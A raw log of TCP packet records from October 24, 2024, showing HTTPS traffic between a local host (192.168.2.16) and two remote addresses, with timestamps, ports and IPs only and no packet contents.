Oct 24, 2024 00:26:44.127952099 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.130827904 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.130883932 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.130891085 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.130939007 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.130991936 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.131021976 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.131027937 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.131067991 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.133862972 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.133997917 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.134051085 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.134064913 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.134071112 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.134176016 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.134181023 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.136188984 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.136405945 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.136413097 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.139178038 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.139233112 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.139239073 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.141817093 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.141908884 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.141915083 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.144648075 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.144689083 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.144757986 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.144762993 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.144915104 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.144918919 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.144990921 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.145080090 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.145085096 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.148233891 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.148332119 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.148335934 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.151048899 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.151130915 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.151134968 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.153662920 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.153755903 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.153762102 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.158207893 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.158373117 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.158379078 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.158411980 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.158652067 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.158670902 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.160243988 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.160283089 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.160324097 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.160330057 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.160389900 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.160496950 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.161128998 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.161192894 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.161199093 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.175620079 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.175647020 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.175697088 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.175733089 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.175765038 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.178319931 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.178350925 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.178396940 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.178401947 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.178447962 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.189832926 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.189860106 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.189928055 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.189934969 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.197910070 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.197933912 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.197972059 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.197978020 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.198019028 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.221709013 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.221731901 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.221899986 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.221909046 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.241141081 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.241187096 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.241228104 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.241234064 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.241281986 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.251311064 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.251353025 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.251403093 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.251408100 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.251462936 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.261853933 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.261882067 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.261941910 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.261955976 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.261977911 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.271044016 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.271070957 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.271111012 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.271136045 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.271159887 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.271349907 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.271869898 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.272053003 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.272066116 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.272167921 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.272177935 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.272435904 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.272735119 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.272795916 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.272860050 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.273127079 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.273238897 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.273339987 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.273428917 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.273457050 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.273586035 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.273624897 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.274049997 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.274096012 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.274239063 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.274266005 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.274287939 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.274287939 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.274305105 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.274393082 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.274401903 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:44.280884981 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.280905962 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.280982018 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.281008005 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.292889118 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.292918921 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.292962074 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.292994022 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.293008089 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.295520067 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.295537949 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.295612097 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.295646906 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.306916952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.306941032 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.307004929 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.307018995 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.307051897 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.314774036 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.314793110 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.314882040 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.314908981 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.326859951 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:44.336510897 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.336539030 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.336582899 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.336608887 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.336632013 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.358437061 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.358463049 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.358607054 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.358622074 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.365614891 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.365645885 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.365704060 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.365712881 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.365721941 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.365735054 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.365747929 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.376316071 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.376333952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.376585960 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.376595020 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.385627985 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.385653019 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.385831118 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.385842085 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.395411968 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.395427942 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.395718098 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.395728111 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.407938957 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.407964945 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.408019066 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.408035040 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.408076048 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.410557985 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.410573006 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.410651922 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.410660982 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.419670105 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.419691086 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.419744015 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.419751883 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.419787884 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.428580999 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.428597927 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.428683043 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.428713083 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.428730011 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.441795111 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.441853046 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.441904068 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.441914082 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.441951036 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.460556984 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.460577011 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.460609913 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.460619926 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.460664034 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.475608110 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.475632906 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.475717068 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.475727081 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.485418081 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.485444069 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.485477924 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.485486984 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.485534906 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.496181011 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.496200085 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.496238947 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.496248007 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.496304035 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.505192041 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.505217075 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.505292892 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.505301952 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.512758970 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.512787104 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.512856007 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.512871981 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.525264978 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.525300980 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.525330067 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.525346994 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.525393009 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.529546976 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.529570103 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.529603958 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.529613018 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.529658079 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.539573908 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.539594889 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.539675951 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.539688110 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.539731979 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.546094894 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.546118021 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.546149015 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.546159029 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.546192884 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.555139065 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.555157900 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.555191040 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.555208921 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.555243015 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.573029041 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.573060036 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.573168039 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.573193073 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.592674017 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.592694044 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.592803001 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.592822075 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.602400064 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.602423906 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.602469921 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.602479935 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.602519035 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.613164902 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.613184929 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.613244057 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.613255024 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.613291025 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.616755009 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.616780996 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.616853952 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.616863012 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.629846096 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.629864931 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.629952908 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.629981995 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.637447119 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.637470007 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.637525082 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.637548923 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.637578964 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.644793987 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.644819975 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.644861937 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.644881964 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.644906044 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.649338007 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.649358034 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.649409056 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.649434090 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.649456978 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.660972118 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.660991907 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.661050081 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.661076069 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.666333914 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.666356087 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.666424036 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.666440010 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.666465044 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.680485964 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.680509090 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.680562973 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.680587053 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.680617094 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.695051908 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.695086002 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.695121050 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.695146084 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.695183992 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.710061073 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.710082054 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.710148096 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.710185051 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.710197926 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.719701052 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.719727993 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.719765902 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.719774008 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.719827890 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.730886936 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.730911016 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.730962992 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.730973959 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.731298923 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.731329918 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.731372118 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:44.731376886 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:44.731409073 CEST	49708	443	192.168.2.16	142.250.186.97
